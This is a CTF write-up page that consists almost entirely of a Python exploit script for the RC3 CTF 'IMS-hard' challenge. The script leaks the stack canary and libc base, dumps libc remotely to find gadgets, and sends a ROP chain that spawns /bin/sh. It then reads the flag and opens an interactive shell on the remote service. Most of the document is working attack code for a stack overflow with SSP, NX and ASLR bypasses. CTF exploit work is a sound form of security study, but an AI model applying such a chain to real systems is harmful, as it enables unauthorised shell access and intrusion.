Tags: remote pwn pwning libc aslr pexpect ssp rop nx rc3ctf 

Rating:

#!/usr/bin/python
"""
# This is my exploit code for RC3 CTF Level: IMS-hard
# It was made after the completion of this event, but luckily the servers are
# still online [26.11.16], so the code was tested on a "living" target.
# I know, my code is a bit overpowered but I had my fun while programming :)
#
# Additional Info:
# After I got the overwriting process of the canary value working, I created
# a copy of the IMS-hard binary and patched the canary value check in the main
# functions with NOPs. I disabled ASLR on my computer and saved all input to
# the binary from this script in a text file:
# stdin = file('stdin.txt','w')
# x.logfile_send = stdin
# This file was then be piped into the executable while debugging it with
# radare2 or GDB. If somebody knows another way to directly debug a process
# spawned by pexpect, I would apreciate to hear about that.
#
# The offset of the leaked libc address to the libc address on the remote
# target was determined by trail and error. I changed the offset, dumped the
# libc and either the file size was 0 -> decrease the offset, or the file
# did not start with the ELF header -> increase the offset.
#
# The reason why I am using pexpect instead of pwnlib is because pecpect is
# a python only library and pwnlib is not running on x86 architectures.
#
# Bugs: Sometimes it is possible that the dumping of the libs stops before
# all the required data was captured. This results in an error because
# it can't find all nedded gadgets
"""

import pexpect
import struct
import sys
import tty
import termios
import os
from math import log

# Format file size to human readable form
# Copied from http://stackoverflow.com/questions/1094841/reusable-library-to-get-human-readable-version-of-file-size#answer-1094933
def sizeof_fmt(num, suffix='B'):
for unit in ['','k','M','G','T','P','E','Z']:
if abs(num) < 1024.0:
return "%3.2f %s%s" % (num, unit, suffix)
num /= 1024.0
return "%.1f%s%s" % (num, 'Y', suffix)

def p32(dword):
return struct.pack("I", dword)

def log(msg, loglevel=0, sep="[*] "):
if loglevel<=verbose:
print "%s%s" % (sep, msg)

def hexdump(src, length=16, sep='.'):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or sep for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
if len(hex) > 24:
hex = "%s %s" % (hex[:24], hex[24:])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars])
lines.append(" %03d: %-*s |%s|\n" % (c, length*3, hex, printable))
return ''.join(lines)

def info_leak(POS):
leak = [0, 0, 0]

x.sendline(VIEW_RECORD)
x.expect('Choose: ')
x.sendline(str(POS))

x.expect('Product ID: ')
x.expect('.+,')
leak[2] = int(x.after[:-1]) & 0xffffffff

x.expect('Product Code: ')
x.expect('.+T')
leak[0] = struct.unpack("I", x.after[0:4])[0]
leak[1] = struct.unpack("I", x.after[4:8])[0]

return leak

def send_12bytes_to_stack(hexstring_12):
byte_0_7 = struct.unpack("Q", hexstring_12[0:8])[0]
byte_8_11 = struct.unpack("I", hexstring_12[8:12])[0]

x.sendline(ADD_RECORD)
x.expect('Enter product ID:')
log('Product ID: %d' % byte_8_11 ,2)
x.sendline("%d" % byte_8_11)

x.expect('Enter product code:')
log('Product Code: %s' % struct.pack("Q", byte_0_7),2)
x.send("%s\n" % struct.pack("Q", byte_0_7))

return 1

def send_payload(buf):
# Align payload to x*12 bytes
if len(buf)%12 != 0:
log('Adding %d "A" to payload' % (12-len(buf)%12), 1)
buf = buf+'X'*(12-len(buf)%12)

log("Sending %d (%d*12) bytes payload..." % (len(buf), len(buf)/12))
log( "===================== Raw Payload ======================", 1)
log("%s" % hexdump(buf,length=12), 1, sep="")

for i in range(0, len(buf)/12*12, 12):
send_12bytes_to_stack(buf[i:i+12])

################################################################################
##################################### MAIN ####################################
################################################################################

## Constants ##

VIEW_RECORD = str(3)
ADD_RECORD = str(1)
QUIT = str(4)
BANNER = ("""
################################################################################
######################## RC3 CTF: IMS-hard, 200 points #######################
######################## Author: Philip Wiese #######################
######################## Date: 23. Nov. 2016 #######################
################################################################################
# #
# Source: https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de #
# Usage: %s [-r] [verbose] #
# #
# Options: #
# -r Select Local / Remote Target #
# verbose Verbosity Level 0-2 #
# #
################################################################################
""")

# Sitch between remote and local exploit and select verbose level
remote = False
verbose = 0
if len(sys.argv)>1:
if sys.argv[1]== "-r":
remote = True
if sys.argv[1].isdigit():
verbose = int(sys.argv[1])
if len(sys.argv)>2:
if sys.argv[2]== "-r":
remote = True
if sys.argv[2].isdigit():
verbose = int(sys.argv[2])

print BANNER % sys.argv[0]

##########################
###### STAGE 1 ######
###### Dumping LibC ######
##########################

# Setup pexpect process / connection
if remote:
log('========== Select Target [REMOTE] ==========', sep="")
x = pexpect.spawn('nc ims.ctf.rc3.club 8888')
else:
log('========== Select Target [LOCAL] ==========', sep="")
x = pexpect.spawn('./IMS-hard_noCanary')

log('========== [Stage 1] # Dumping LibC ==========', sep="")

# Set terminal to rawmode to prevent transmission errors
tty.setraw(x.fileno())

# Leak the stack canary value for the main function
canary_main = info_leak(5)[2]
log('Leaked canary: 0x%08x' % canary_main, 1)

# Leak stdout address
stdout = info_leak(-13)[1]
log('Leaked stdout: 0x%08x' % stdout, 1)

# Leak libc base address
if remote:
libc_base = info_leak(-4)[2]-0x1a7000
else:
libc_base = info_leak(-1)[2]-0x1b3000

log('Leaked libc_base: 0x%08x' % libc_base, 1)

# Set EIP to address of fwrite@plt
eip = 0x08048550
log('EIP: 0x%08x' % eip, 1)

# Build payload
payload = "A"*5*12 # 12 byte junk
payload += "BBBBBBBB" + p32(canary_main) # 4 byte junk and canary value
payload += "C"*12 # 12 byte junk
payload += p32(eip) + "DDDD" # next EIP and Return Address
payload += p32(libc_base) # Arg 1 <const void *ptr>
payload += p32(0x01010101) # Arg 2 <size_t size>
payload += p32(0x1) # Arg 3 <size_t nmemb>
payload += p32(stdout) # Arg 4 <FILE *stream>

# Send end execute payload
send_payload(payload)
x.expect("Choose: ")
x.sendline(QUIT)

# Save process output = dump of libc to file
log('Dumping libc to file...')
if remote:
dump = file('glibc.bin','w')
else:
dump = file('local_libc.bin','w')
x.logfile_read = dump

# Needed to successfully recieve libc dump. But why?
data = ''
while True:
try:
data = x.read_nonblocking(size=8192, timeout=1)
if not data:
break
except:
break

# Close process / connection
x.close()

if remote:
dump_size = os.stat('glibc.bin')
else:
dump_size = os.stat('local_libc.bin')

log('Dumped %s' % sizeof_fmt(dump_size.st_size))

##########################
###### STAGE 2 ######
###### Exploiting ######
##########################

print ""
log('========== [Stage 2] # Exploiting ==========', sep="")
# Setup pexpect process / connection
if remote:
x = pexpect.spawn('nc ims.ctf.rc3.club 8888')
else:
x = pexpect.spawn('./IMS-hard_noCanary')

# Save current terminal settings and enter raw mode and
# set terminal to rawmode to prevent transmission errors
tty_echo_mode = termios.tcgetattr(x.fileno())
tty.setraw(x.fileno())

# Leak the stack canary value for the main function
canary_main = info_leak(5)[2]
log('Leaked canary: 0x%08x' % canary_main, 1)

# Leak libc base address
if remote:
libc_base = info_leak(-4)[2]-0x1a7000
else:
libc_base = info_leak(-1)[2]-0x1b3000

log('Leaked libc_base: 0x%08x' % libc_base, 1)

# Open dump of libc
if remote:
dump = open('glibc.bin').read()
else:
dump = open('local_libc.bin').read()

# Search for Gadgets
offset_ret = dump.index('\xc3')
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')

log('Found String "/bin/sh" @ 0x%08x' % (offset_binsh + libc_base), 1)
log("Found <pop eax; ret> @ 0x%08x" % (offset_pop_eax + libc_base), 1)
log("Found <pop ebx; ret> @ 0x%08x" % (offset_pop_ebx + libc_base), 1)
log("Found <pop ecx; pop edx; ret> @ 0x%08x" % (offset_pop_ecx_edx + libc_base), 1)
log("Found <int80; ret> @ 0x%08x" % (offset_int80 + libc_base), 1)

# Build payload
payload = "A"*5*12 # 12 byte junk
payload += "BBBBBBBB" + p32(canary_main) # 8 byte junk and canary value
payload += "C"*12 # 12 byte junk
# Building ROP Chain
payload += p32(libc_base + offset_pop_eax) + p32(11)
payload += p32(libc_base + offset_pop_ebx) + p32(libc_base + offset_binsh)
payload += p32(libc_base + offset_ret)
payload += p32(libc_base + offset_pop_ecx_edx) + p32(0) + p32(0)
payload += p32(libc_base + offset_int80)

# Send and execute payload
send_payload(payload)
x.expect("Choose: ")
x.sendline(QUIT)

# Set terminal back to echo mode for interactive shell
termios.tcsetattr(x.fileno(), termios.TCSADRAIN, tty_echo_mode)

log('Executing Shell')
# Get flag
log('Sending "cat /home/IMS-hard/flag.txt"')
x.sendline('cat /home/IMS-hard/flag.txt')
x.expect('\n.+')
print x.after[1:-1]

# Open interactive shell
x.interact(escape_character='\x04')
x.close()

Original writeup (https://gist.github.com/Xeratec/0842f4535c8a9e4d49a245fec76f26de).